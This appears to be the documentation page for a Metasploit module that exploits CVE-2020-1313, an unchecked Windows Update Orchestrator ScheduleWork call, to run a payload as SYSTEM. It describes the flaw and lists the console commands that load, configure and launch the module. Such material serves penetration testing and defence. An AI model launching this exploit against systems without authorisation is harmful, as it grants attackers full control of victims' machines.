Windows Update Orchestrator unchecked ScheduleWork call

Description

This exploit uses access to the UniversalOrchestrator ScheduleWork API call which does not verify the caller's token before scheduling a job to be run as SYSTEM. You cannot schedule something in a given time, so the payload will execute as system sometime in the next 24 hours.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/local/cve_2020_1313_system_orchestrator
msf exploit(cve_2020_1313_system_orchestrator) > show targets
    ...targets...
msf exploit(cve_2020_1313_system_orchestrator) > set TARGET < target-id >
msf exploit(cve_2020_1313_system_orchestrator) > show options
    ...show and set options...
msf exploit(cve_2020_1313_system_orchestrator) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
